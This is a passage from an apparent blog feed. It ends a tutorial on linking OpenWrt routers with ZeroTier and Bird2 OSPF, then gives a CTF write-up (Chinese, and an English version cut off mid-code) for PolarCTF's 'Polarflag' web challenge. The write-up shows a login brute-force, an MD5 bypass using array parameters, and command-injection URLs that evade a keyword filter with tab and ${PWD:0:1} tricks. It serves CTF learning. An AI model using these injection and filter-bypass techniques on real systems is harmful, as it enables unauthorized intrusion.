    option allow_managed &apos;1&apos;
    option allow_global &apos;0&apos;
    option allow_default &apos;0&apos;
    option allow_dns &apos;0&apos;

# Example of a second network (unnamed as it is optional)
#config network
#   option id &apos;1234567890123456&apos;
#   option allow_managed &apos;1&apos;
#   option allow_global &apos;0&apos;
#   option allow_default &apos;0&apos;
#   option allow_dns &apos;0&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Modify it according to your needs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;config zerotier &apos;global&apos;
    option enabled &apos;1&apos;              # Enable ZeroTier client service
    option config_path &apos;/etc/zerotier&apos; # Persistent directory: for storing identity secret, Moon node definitions, and network settings
    option secret &apos;&apos;                # Leave secret blank: identity will be auto-generated on first run and saved to identity.secret
    option copy_config_path &apos;1&apos;     # Flash protection policy: copy config to memory on startup. If set to 0, read/write directly to Flash

config network &apos;earth&apos;
    option id &apos;&amp;lt;network ID&amp;gt;&apos;        # 16-digit ZeroTier Network ID
    option allow_managed &apos;1&apos;        # Allow receiving controller-assigned IPs, routes, and tags
    option allow_global &apos;1&apos;         # Allow receiving globally routable IPv6 unicast addresses (GUA) via ZeroTier
    option allow_default &apos;0&apos;        # Allow ZeroTier to take over the default gateway (similar to a global proxy)
    option allow_dns &apos;1&apos;            # Allow receiving and using DNS servers configured in the ZeroTier control panel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Regarding &lt;code&gt;copy_config_path &apos;1&apos;&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Because the ZeroTier working directory &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt; is part of &lt;code&gt;tmpfs&lt;/code&gt; in OpenWrt, its contents are cleared on reboot. Therefore, configurations like planet, identity, and network files need to be stored in the router&apos;s Flash storage, i.e., the path set in &lt;code&gt;config_path&lt;/code&gt;.
The default logic is to create a soft link from the configured &lt;code&gt;config_path&lt;/code&gt; to &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt; on startup to achieve persistence. All read/write operations in &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt; are then written to Flash. However, frequent ZeroTier read/writes can significantly reduce Flash lifespan.
Enabling &lt;code&gt;copy_config_path &apos;1&apos;&lt;/code&gt; specifies that on ZeroTier startup, the configurations from &lt;code&gt;config_path&lt;/code&gt; are copied directly into &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt;. This greatly extends the internal Flash lifespan, but the downside is that modifications made via &lt;code&gt;zerotier-cli&lt;/code&gt; are not automatically synced back to Flash by default, making this option less suitable for scenarios requiring frequent configuration adjustments.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;After making changes, use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/init.d/zerotier start
/etc/init.d/zerotier enable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to start ZeroTier and enable auto-start on boot.&lt;/p&gt;
&lt;p&gt;On first startup, if the &lt;code&gt;secret&lt;/code&gt; field was left empty, it will be auto-generated. After startup, copy all files from &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt; to &lt;code&gt;/etc/zerotier&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Download the Planet file to the &lt;code&gt;config_path&lt;/code&gt; set above, i.e., &lt;code&gt;/etc/zerotier&lt;/code&gt;. After completion, restart ZeroTier:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/init.d/zerotier restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it. Then, go to your ZeroTier Controller console, and you should see the new device has joined.&lt;/p&gt;
&lt;p&gt;Next, you may need to allow ZeroTier traffic through the firewall. This step can be referenced from other online tutorials. I chose to allow all traffic; it shouldn&apos;t be a big issue under NAT1.&lt;/p&gt;
&lt;h1&gt;Installing and Configuring Bird2&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;I didn&apos;t expect the Bird2 version in the apk repository to be very recent. As of this writing on &lt;code&gt;2026-02-10&lt;/code&gt;, the Bird2 version in apk is 2.18&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Use the following command to install:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk add bird2  # bird daemon itself
apk add bird2c # birdc command
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because OpenWrt&apos;s default bird configuration file is located at &lt;code&gt;/etc/bird.conf&lt;/code&gt;, and I prefer modular referencing by placing different configurations in separate folders based on function, I chose to move the default config file to &lt;code&gt;/etc/bird/bird.conf&lt;/code&gt; and store various config files within that folder.
Open &lt;code&gt;/etc/init.d/bird&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh /etc/rc.common
# Copyright (C) 2010-2017 OpenWrt.org

USE_PROCD=1
START=70
STOP=10

BIRD_BIN=&quot;/usr/sbin/bird&quot;
BIRD_CONF=&quot;/etc/bird.conf&quot;
BIRD_PID_FILE=&quot;/var/run/bird.pid&quot;

start_service() {
    mkdir -p /var/run
    procd_open_instance
    procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE
    procd_set_param file &quot;$BIRD_CONF&quot;
    procd_set_param stdout 1
    procd_set_param stderr 1
    procd_set_param respawn
    procd_close_instance
}

reload_service() {
    procd_send_signal bird
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Change the &lt;code&gt;BIRD_CONF&lt;/code&gt; value to &lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- BIRD_CONF=&quot;/etc/bird.conf&quot;
+ BIRD_CONF=&quot;/etc/bird/bird.conf&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then create the &lt;code&gt;/etc/bird&lt;/code&gt; folder. All subsequent OSPF configuration files will be placed here.&lt;/p&gt;
&lt;h1&gt;Configuring OSPF&lt;/h1&gt;
&lt;p&gt;My configuration file structure follows these rules:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/bird.conf&lt;/code&gt; serves as the sole entry point, defining basic configurations like Router ID, filter prefixes, and then including other sub-configurations.&lt;/li&gt;
&lt;li&gt;Configurations for different networks are placed in separate folders, e.g., public internet parts in &lt;code&gt;/etc/bird/inet/&lt;/code&gt;, DN42 parts in &lt;code&gt;/etc/bird/dn42/&lt;/code&gt;, and my own internal network parts in &lt;code&gt;/etc/bird/intra/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Each network has a &lt;code&gt;defs.conf&lt;/code&gt; handling common functions (similar to utils in Golang development?).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thus, the final configuration file structure is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;: Configuration entry point&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;define INTRA_ROUTER_ID = 100.64.0.100;
define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # IPv4 prefixes allowed to be advertised via OSPF
define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # IPv6 prefixes allowed to be advertised via OSPF

protocol device {
    scan time 10;
};

ipv4 table intra_table_v4; # Define internal routing IPv4 table
ipv6 table intra_table_v6; # Define internal routing IPv6 table

include &quot;intra/defs.conf&quot;;
include &quot;intra/kernel.conf&quot;;
include &quot;intra/ospf.conf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The RouterID here is directly taken from the node&apos;s IPv4 address within the ZeroTier internal network.
Separate tables are used for future safety, e.g., if connecting this node to DN42.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/intra/defs.conf&lt;/code&gt;: Functions for filters&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;function is_intra_net4() {
    return net ~ INTRA_PREFIX_V4;
}

function is_intra_net6(){
    return net ~ INTRA_PREFIX_V6;
}

function is_intra_dn42_net4(){
    return net ~ [ 172.20.0.0/14+ ];
}

function is_intra_dn42_net6(){
    return net ~ [ fd00::/8+ ];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/intra/kernel.conf&lt;/code&gt;: Write routes learned by OSPF into the system routing table&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol kernel intra_kernel_v4 {
    kernel table 254;
    scan time 20;
    ipv4 {
        table intra_table_v4;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            accept;
        };
    };
};

protocol kernel intra_kernel_v6 {
    kernel table 254;
    scan time 20;
    ipv6 {
        table intra_table_v6;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            accept;
        };
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/intra/ospf.conf&lt;/code&gt;: OSPF module&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol ospf v3 intra_ospf_v4 {
    router id INTRA_ROUTER_ID; # Specify RouterID

    ipv4 {
        table intra_table_v4; # Specify routing table
        import where is_intra_dn42_net4() || is_intra_net4() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_intra_dn42_net4() || is_intra_net4() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};

protocol ospf v3 intra_ospf_v6 {
    router id INTRA_ROUTER_ID; # Specify RouterID

    ipv6 {
        table intra_table_v6; # Specify routing table
        import where is_intra_dn42_net6() || is_intra_net6() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_intra_dn42_net6() || is_intra_net6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/intra/ospf/backbone.conf&lt;/code&gt;: OSPF Area Configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;area 0.0.0.0 {
    interface &quot;br-lan&quot; { stub; }; # Local LAN interface
    interface &quot;zta7oqfzy6&quot; { # ZeroTier interface
        type broadcast;
        cost 100;
        hello 20;
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After completion, use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/init.d/bird start
/etc/init.d/bird enable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to start Bird and enable auto-start on boot.
If everything is fine, you can use&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;birdc s p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to check Bird&apos;s status. If all goes well, after the other side is configured, you should see the OSPF state as Running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@X-WRT:/etc/bird# birdc s p
BIRD 2.18 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     14:28:02.410
intra_kernel_v4 Kernel     intra_table_v4 up     14:28:02.410
intra_kernel_v6 Kernel     intra_table_v6 up     14:28:02.410
intra_ospf_v4 OSPF       intra_table_v4 up     14:28:02.410  Running
intra_ospf_v6 OSPF       intra_table_v6 up     14:31:38.389  Running
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;Have your friend follow the same process. Once both sides show Running status, you can use&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;birdc s r protocol intra_ospf_v4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to view the routes learned by OSPF. You&apos;ll find that routes to the other side via ZeroTier are being learned normally:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4
BIRD 2.18 ready.
Table intra_table_v4:
...
192.168.1.0/24       unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163]
    via 100.64.0.163 on zta7oqfzy6
...
192.168.3.0/24       unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100]
    dev br-lan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also ping your friend&apos;s server from your PC:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iyoroy@iYoRoy-PC:~$ ping 192.168.1.103
PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data.
64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms
64 bytes from 192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms
64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms
^C
--- 192.168.1.103 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms
iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103
traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets
 1  100.64.0.163 (100.64.0.163)  10.445 ms  9.981 ms  9.892 ms
 2  192.168.1.103 (192.168.1.103)  11.621 ms  10.994 ms  10.948 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Web browsing and speed tests work normally:
&lt;img src=&quot;./images/2026/02/596204778.png&quot; alt=&quot;2-1.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Summary&lt;/h1&gt;
&lt;p&gt;This series of operations essentially implements the following network structure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TB
    %% === Style Definitions ===
    classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5
    classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff
    classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect
    classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000

    classDef invisibleContainer fill:none,stroke:none,color:none

    %% === Physical Layer Containers ===
    subgraph Top_Physical_Layer [&quot; &quot;]
        direction LR

        subgraph Left_Side [&quot;My Home (Node A)&quot;]
            direction TB
            L_Router[X-WRT Router A]:::router
            L_LAN[LAN: 192.168.3.0/24]
            L_LAN &amp;lt;--&amp;gt; L_Router
        end

        subgraph Right_Side [&quot;Friend&apos;s Home (Node B)&quot;]
            direction TB
            R_Router[X-WRT Router B]:::router
            R_LAN[LAN: 192.168.1.0/24]
            R_LAN &amp;lt;--&amp;gt; R_Router
        end
    end

    %% === Virtual Layer Container ===
    subgraph Middle_Side [ZeroTier Virtual L2 Network]
        direction LR

        subgraph ZT_Stack_A [My Home ZT Access]
            direction TB
            L_NIC(zt0: 100.64.0.x):::ztCard
            L_Bird(Bird OSPF):::bird
            L_NIC &amp;lt;-.- L_Bird
        end

        subgraph ZT_Stack_B [Friend&apos;s Home ZT Access]
            direction TB
            R_NIC(zt0: 100.64.0.y):::ztCard
            R_Bird(Bird OSPF):::bird
            R_NIC &amp;lt;-.- R_Bird
        end

        L_NIC &amp;lt;==P2P Tunnel==&amp;gt; R_NIC
    end

    %% === Cross-Layer Connections ===
    L_Router === L_NIC
    R_Router === R_NIC

    %% === Style Application ===
    class Left_Side,Right_Side phyNet
    class Middle_Side virNet
    class Top_Physical_Layer invisibleContainer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The underlying P2P network is still powered by ZeroTier. However, using OSPF for internal routing allows both sides to directly route to devices on each other&apos;s network segments. Since both sides can fully learn each other&apos;s routes, no NAT is required, and both sides can directly see each other&apos;s source addresses.&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Check out the other side of this story!&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;From my friend&apos;s side: &lt;a href=&quot;https://blog.nanami.tech/en/archives/216/&quot;&gt;Linux Operations - OSPF Networking Implementation Based on Bird for New OpenWrt » NanamiのTechLaunchTower&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>PolarCTF 2025冬季赛 Web Polarflag WriteUp</title><link>https://blog.iyoroy.cn/posts/245/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/245/</guid><description>PolarCTF 2025 冬季赛 Web 题 Polarflag 的解题记录，从目录扫描和源码分析，到密码爆破、MD5 校验绕过与命令注入。</description><pubDate>Sat, 06 Dec 2025 23:55:30 GMT</pubDate><content:encoded>&lt;p&gt;打开网页，可发现是一个登录页：
&lt;img src=&quot;./images/2025/12/114773099.png&quot; alt=&quot;Web-polarflag-1-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试通过dirsearch扫描，得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/

[15:15:01] Starting: 
[15:15:04] 403 -  319B  - /.ht_wsr.txt
[15:15:04] 403 -  319B  - /.htaccess.bak1
[15:15:04] 403 -  319B  - /.htaccess.orig
[15:15:04] 403 -  319B  - /.htaccess.sample
[15:15:04] 403 -  319B  - /.htaccess.save
[15:15:04] 403 -  319B  - /.htaccess_orig
[15:15:04] 403 -  319B  - /.htaccess_extra
[15:15:04] 403 -  319B  - /.htaccess_sc
[15:15:04] 403 -  319B  - /.htaccessBAK
[15:15:04] 403 -  319B  - /.htaccessOLD
[15:15:04] 403 -  319B  - /.htaccessOLD2
[15:15:04] 403 -  319B  - /.htm
[15:15:04] 403 -  319B  - /.html
[15:15:04] 403 -  319B  - /.htpasswd_test
[15:15:04] 403 -  319B  - /.htpasswds
[15:15:04] 403 -  319B  - /.httr-oauth
[15:15:19] 200 -  448B  - /flag.txt
[15:15:20] 200 -    3KB - /index.php
[15:15:20] 200 -    3KB - /index.php/login/
[15:15:28] 403 -  319B  - /server-status/
[15:15:28] 403 -  319B  - /server-status

Task Completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现&lt;code&gt;/flag.txt&lt;/code&gt;，访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$original = &quot;flag{polar_flag_in_here}&quot;;


$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
$new = &quot;&quot;;
foreach ($ascii_codes as $code) {
    $new .= chr($code);
}


function replaceString($original, $new) {
    $temp = str_replace(&quot;flag{&quot;, &quot;the_&quot;, $original);
    $temp = str_replace(&quot;polar_flag_in_here}&quot;, $new . &quot;_is_polar&quot;, $temp);
    return $temp;
}

$result = replaceString($orginal, $ne1w);


echo &quot;flag{polar_flag_in_here}&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试运行，发现语法错误，修正：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...
    return $temp;
}

-$result = replaceString($orginal, $ne1w);
+$result = replaceString($original, $new);

-echo &quot;flag{polar_flag_in_here}&quot;;
+echo $result;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行，得到：&lt;code&gt;the_username_is_polar&lt;/code&gt;，提示我们用户名是&lt;code&gt;polar&lt;/code&gt;。同时，题目附件提供了一个字典&lt;a href=&quot;/downloads/2025/12/1222535910.txt&quot;&gt;wordlist.txt&lt;/a&gt;，尝试使用BurpSuite爆破：
&lt;img src=&quot;./images/2025/12/3789183706.png&quot; alt=&quot;Web-polarflag-2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/12/3992575772.png&quot; alt=&quot;Web-polarflag-3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;爆破发现当密码为&lt;code&gt;6666&lt;/code&gt;的时候会跳转到&lt;code&gt;/polar.php&lt;/code&gt;：
&lt;img src=&quot;./images/2025/12/1151703862.png&quot; alt=&quot;Web-polarflag-4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问&lt;code&gt;/polar.php&lt;/code&gt;，得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
session_start();
if(isset($_GET[&apos;logout&apos;])){
    session_destroy();
    header(&apos;Location: index.php&apos;);
    exit();
}
// 初始化会话变量
if(!isset($_SESSION[&apos;collision_passed&apos;])) {
    $_SESSION[&apos;collision_passed&apos;] = false;
}
//想赢的人脸上是没有笑容的 
if(isset($_POST[&apos;a&apos;]) &amp;amp;&amp;amp; isset($_POST[&apos;b&apos;])) {
    if($_POST[&apos;a&apos;] != $_POST[&apos;b&apos;] &amp;amp;&amp;amp; md5($_POST[&apos;a&apos;]) === md5($_POST[&apos;b&apos;])) {
        echo &quot;MD5 不错不错 \n&quot;;
        $_SESSION[&apos;collision_passed&apos;] = true;
    } else {
        echo &quot;MD5 你不行啊\n&quot;;
        $_SESSION[&apos;collision_passed&apos;] = false;
    }
}


if(isset($_GET[&quot;polar&quot;])){
    if($_SESSION[&apos;collision_passed&apos;]) {
        if(preg_match(&apos;/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\&apos;|\]|&quot;|&amp;lt;|&amp;gt;|`|\/| |\\\\|\*/i&apos;,$_GET[&quot;polar&quot;])){
           echo &quot;gun gun !&quot;;
        } else {
            echo &quot;polar polar !&quot;;
            system($_GET[&quot;polar&quot;]);
        }
    } else {
        echo &quot;回去吧，这块不要了\n&quot;;
    }
} else {
    show_source(__FILE__);
    echo &apos;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=&quot;?logout=1&quot; style=&quot;color: #4CAF50; text-decoration: none; font-weight: bold;&quot;&amp;gt;回家喽&amp;lt;/a&amp;gt;&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先进行MD5绕过，传入&lt;code&gt;a[]=1&amp;amp;b[]=2&lt;/code&gt;即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /polar.php HTTP/1.1
Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

a[]=1&amp;amp;b[]=2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现服务端返回了一个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且提示&lt;code&gt;MD5 不错不错&lt;/code&gt;，成功绕过。因为我用的BurpSuite发请求，接下来我打算用普通浏览器做，因此将这个cookie写入浏览器。接着直接访问&lt;code&gt;/polar.php?polar=&lt;/code&gt;即可传入指令，不需要再绕MD5。&lt;br /&gt;
观察正则匹配规则，发现阻止了很多内容，包括一系列符号。首先尝试通过&lt;code&gt;export&lt;/code&gt;导出环境变量，发现一个Flag：&lt;code&gt;flag{7b93dd56-4f33-4738-b916-464a984093b3}&lt;/code&gt;，提交上去发现不对，问客服说这个Flag不对（望天）&lt;br /&gt;
因为过滤了空格，因此可使用&lt;code&gt;$IFS$1&lt;/code&gt;或者&lt;code&gt;%09&lt;/code&gt;（Tab）绕过。同时，因为禁用了&lt;code&gt;/&lt;/code&gt;，因此使用&lt;code&gt;${PWD:0:1}&lt;/code&gt;（截取PWD环境变量的第一个字符，就是&lt;code&gt;/&lt;/code&gt;）代替。构造请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现Flag文件：&lt;code&gt;/polarflag&lt;/code&gt;，因为过滤了&lt;code&gt;fl&lt;/code&gt;，不能直接调用文件名，因此使用&lt;code&gt;?????????&lt;/code&gt;来通配9个字符的文件。禁用了&lt;code&gt;cat&lt;/code&gt;，&lt;code&gt;tail&lt;/code&gt;，&lt;code&gt;more&lt;/code&gt;，&lt;code&gt;less&lt;/code&gt;等能打印内容的指令，但是仍然可以使用&lt;code&gt;sort&lt;/code&gt;之类的指令，也能打印出来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}?????????
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到Flag：&lt;code&gt;flag{polarctf1314inwebgame}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>PolarCTF 2025 Winter Competition Web Polarflag WriteUp  </title><link>https://blog.iyoroy.cn/posts/en-245/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-245/</guid><description>Solving Polarflag from PolarCTF 2025 Winter through directory scanning, source analysis, password cracking, an MD5 check bypass, and command injection.</description><pubDate>Sat, 06 Dec 2025 23:55:00 GMT</pubDate><content:encoded>&lt;p&gt;Opening the webpage, you can see it is a login page:&lt;br /&gt;
&lt;img src=&quot;./images/2025/12/114773099.png&quot; alt=&quot;Web-polarflag-1-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Attempting to scan with dirsearch yields:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/

[15:15:01] Starting: 
[15:15:04] 403 -  319B  - /.ht_wsr.txt
[15:15:04] 403 -  319B  - /.htaccess.bak1
[15:15:04] 403 -  319B  - /.htaccess.orig
[15:15:04] 403 -  319B  - /.htaccess.sample
[15:15:04] 403 -  319B  - /.htaccess.save
[15:15:04] 403 -  319B  - /.htaccess_orig
[15:15:04] 403 -  319B  - /.htaccess_extra
[15:15:04] 403 -  319B  - /.htaccess_sc
[15:15:04] 403 -  319B  - /.htaccessBAK
[15:15:04] 403 -  319B  - /.htaccessOLD
[15:15:04] 403 -  319B  - /.htaccessOLD2
[15:15:04] 403 -  319B  - /.htm
[15:15:04] 403 -  319B  - /.html
[15:15:04] 403 -  319B  - /.htpasswd_test
[15:15:04] 403 -  319B  - /.htpasswds
[15:15:04] 403 -  319B  - /.httr-oauth
[15:15:19] 200 -  448B  - /flag.txt
[15:15:20] 200 -    3KB - /index.php
[15:15:20] 200 -    3KB - /index.php/login/
[15:15:28] 403 -  319B  - /server-status/
[15:15:28] 403 -  319B  - /server-status

Task Completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Discover &lt;code&gt;/flag.txt&lt;/code&gt;, access it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$original = &quot;flag{polar_flag_in_here}&quot;;


$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
$new = &quot;&quot;;
foreach ($ascii_codes as $code) {
    $new .= chr($code);
}


function replaceString($original, $new) {
    $temp = str_replace(&quot;flag{&quot;, &quot;the_&quot;, $original);
    $temp = str_replace(&quot;polar_flag_in_here}&quot;, $new . &quot;_is_polar&quot;, $temp);
    return $temp;
}

$result = replaceString($orginal, $ne1w);


echo &quot;flag{polar_flag_in_here}&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attempting to run it reveals a syntax error. Correct it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...
    return $temp;
}

-$result = replaceString($orginal, $ne1w);
+$result = replaceString($original, $new);

-echo &quot;flag{polar_flag_in_here}&quot;;
+echo $result;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running it yields: &lt;code&gt;the_username_is_polar&lt;/code&gt;, hinting that the username is &lt;code&gt;polar&lt;/code&gt;. Meanwhile, the challenge attachment provides a dictionary &lt;a href=&quot;/downloads/2025/12/1222535910.txt&quot;&gt;wordlist.txt&lt;/a&gt;. Attempt brute-forcing with BurpSuite:&lt;br /&gt;
&lt;img src=&quot;./images/2025/12/3789183706.png&quot; alt=&quot;Web-polarflag-2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/12/3992575772.png&quot; alt=&quot;Web-polarflag-3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Brute-forcing reveals that when the password is &lt;code&gt;6666&lt;/code&gt;, it redirects to &lt;code&gt;/polar.php&lt;/code&gt;:&lt;br /&gt;
&lt;img src=&quot;./images/2025/12/1151703862.png&quot; alt=&quot;Web-polarflag-4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Access &lt;code&gt;/polar.php&lt;/code&gt;, obtain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
session_start();
if(isset($_GET[&apos;logout&apos;])){
    session_destroy();
    header(&apos;Location: index.php&apos;);
    exit();
}
// Initialize session variable
if(!isset($_SESSION[&apos;collision_passed&apos;])) {
    $_SESSION[&apos;collision_passed&apos;] = false;
}
// The one who wants to win has no smile on their face  
if(isset($_POST[&apos;a&apos;]) &amp;amp;&amp;amp; isset($_POST[&apos;b&apos;])) {
    if($_POST[&apos;a&apos;] != $_POST[&apos;b&apos;] &amp;amp;&amp;amp; md5($_POST[&apos;a&apos;]) === md5($_POST[&apos;b&apos;])) {
        echo &quot;MD5 Well done \n&quot;;
        $_SESSION[&apos;collision_passed&apos;] = true;
    } else {
